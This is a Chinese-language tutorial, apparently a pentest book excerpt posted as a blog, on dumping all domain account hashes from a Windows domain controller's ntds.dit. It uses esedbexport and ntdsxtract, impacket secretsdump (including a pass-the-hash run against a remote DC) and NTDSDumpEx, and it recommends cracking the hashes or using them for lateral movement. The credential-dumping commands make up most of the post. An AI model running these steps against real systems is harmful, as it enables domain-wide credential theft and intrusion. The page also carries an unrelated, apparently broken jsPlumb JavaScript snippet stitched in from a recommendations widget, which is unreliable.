攻击域控丝滑小连招~

如果已经获得本地管理员账号或是域管理员账号,那么下一个目标通常是域控制器,对于渗透测试人员来说,光荣与荣耀的那一刻就是成功从域控制器提取所有的哈希值。但即使是拥有管理员权限,也无法读取域控制器中存储的c:\Windows\NTDS\ntds.dit文件,因为活动目录始终访问这个文件,所有文件被禁止读出。下面介绍几种常用提取ntds.dit的方法。

01

使用esedbexport恢复ntds.dit

将从目标系统导出的ntds.dit放在本地Linux机器中进行解析,本次实验环境为Kail2.0。

在Kali中打开命令行输入命令下载libesedb。

wgethttps://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz

首先安装工具依赖环境,如图6-24所示,输入如下命令。

$ sudo apt-get install autoconf automake autopoint libtool pkg-config

图片

图6-24安装工具依赖环境

将下载好的libesedb进行编译安装,依次输入命令:

​​​​​​​

$ ./configure$ make$ sudo make install$ sudo ldconfig

安装成功后会在系统/usr/local/bin中出现esedbexport程序,如图6-25所示。

图片

图6-25查看esedbexport是否安装成功

在Kali中打开命令行进入存放ntds.dit目录中,使用esedbexport 恢复,输入如下命令来提取表信息,如图6-26所示,恢复时间视ntds.dit大小决定,导出成功会在同目录生成一个文件夹。这里的存储信息,我们只需要datatable和link_table。

esedbexport -m tables ntds.dit

图片

图6-26使用esedbexport 打开ntds.dit

可以看到成功导出,如图6-27所示。

图片

图6-27查看被打开后的ntds.dit内容

再下载使用ntdsxtract进行提取域信息,导出Hash。

下载,在Kali输入命令:

$ git clone https://github.com/csababarta/ntdsxtract.git

安装,在Kali输入命令:

python setup.py build && python setup.py install

然后将导出ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹中,输入如下命令。

$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt

成功将域内所有用户信息及Hash导出到all_user.txt中,如图6-28所示。

图片

图6-28导出与内所有用户和Hash信息

导出到Hash可以放在在线网站破解,也可以本地使用hashcat进行破解或在域内直接进行PTH进行横向渗透。

Tips:ntds.dit中包含域内所有信息,不仅仅包括用户和Hash,也可以通过分析ntds.dit导出域内计算机信息或其他信息,如:

dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

该命令可以执行导出域内所有计算机信息,导出为csv格式,方便查看,如图6-29所示。

图片

图6-29导出域内所有计算机信息

02

使用impacket工具包导出Hash

使用impacket工具包中的secretsdump 解析ntds.dit文件,导出Hash。

首先下载impacket工具包,在Kali下,输入如下命令下载该工具。

git clone https://github.com/CoreSecurity/impacket.git

下载成功后,将impacket工具包安装在Kali上,impacket是基于使用Python编写的,Kail默认安装了Python,直接输入命令,如图6-30所示。

python setup.py install

图片

图6-30安装impacket

成功安装后,打开命令行进入ntds.dit和SYSTEM目录,输入如下命令,成功导出ntds.dit中所有Hash,如图6-31所示。

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

图片

图6-31使用impacket-secretsdump导出用户和Hash

Tips:impacket还可以直接使用用户名和Hash进行验证,从远程域控制器读取ntds.dit转储域Hash,如图6-32所示:​​​​​​​

impacket-secretsdump-hashesaad3b435b51404eeaad3b435b51404ee:135d82f03c3698e2e32bcb11f4da741b -just-dc pentest.com/administrator@192.168.100.205

图片

图6-32使用impacket-secretsdump向DC获取信息

03

Windows下解析ntds.dit导出域账号及域Hash

使用NTDSDumpex.exe进行导出Hash操作。NTDSDumpex.exe下载地址:

https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

首先将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录中,打开cmd输入如下命令,域账号及域Hash被成功导出,如图6-33所示。

NTDSDumpex.exe -d ntds.dit -s system

图片

图6-33使用NTDSDumpex.exe打开ntds.dit

  • 11
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
你可以参考以下代码实现: ```javascript // 初始化 jsPlumb jsPlumb.ready(function() { // 设置连接线的样式 var connectorPaintStyle = { lineWidth: 2, strokeStyle: "#61B7CF", joinstyle: "round", outlineColor: "white", outlineWidth: 2 }; // 设置连接点的样式 var endpointStyle = { endpoint: "Dot", paintStyle: { strokeStyle: "#7AB02C", fillStyle: "transparent", radius: 7, lineWidth: 2 }, hoverPaintStyle: { fillStyle: "#216477", strokeStyle: "#216477" }, connectorHoverStyle: { lineWidth: 2, strokeStyle: "#216477" }, connectorStyle: connectorPaintStyle, maxConnections: -1 }; // 初始化连接器 var instance = jsPlumb.getInstance({ Endpoint: ["Dot", { radius: 2 }], Connector: "StateMachine", HoverPaintStyle: { strokeStyle: "#216477", lineWidth: 2 }, ConnectionOverlays: [ [ "Arrow", { location: 1, id: "arrow", length: 14, foldback: 0.8 } ], [ "Label", { location: 0.1, id: "label", cssClass: "aLabel" } ] ], Container: "canvas" }); // 设置连接点 var sourceEndpoint = { endpoint: "Dot", paintStyle: { strokeStyle: "#7AB02C", fillStyle: "transparent", radius: 7, lineWidth: 2 }, isSource: true, connector: ["Flowchart", { stub: [40, 60], gap: 10, cornerRadius: 5, alwaysRespectStubs: true }], connectorStyle: connectorPaintStyle, maxConnections: -1, connectorHoverStyle: connectorPaintStyle, dragOptions: {}, overlays: [ [ "Label", { location: [0.5, 1.5], label: "Drag", cssClass: "endpointSourceLabel", visible: false } ] ] }; var targetEndpoint = { endpoint: "Dot", paintStyle: { fillStyle: "#7AB02C", radius: 7 }, hoverPaintStyle: endpointHoverStyle, maxConnections: -1, dropOptions: { hoverClass: "hover", activeClass: "active" }, isTarget: true, overlays: [ [ "Label", { location: [0.5, -0.5], label: "Drop", cssClass: "endpointTargetLabel", visible: false } ] ] }; // 添加连接点 instance.addEndpoint("source", sourceEndpoint); instance.addEndpoint("target", targetEndpoint); // 连接两个连接点 instance.connect({ source: "source", target: "target", overlays: [["Label", { label: "Connection", id: "label", visible: false }]] }); }); ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值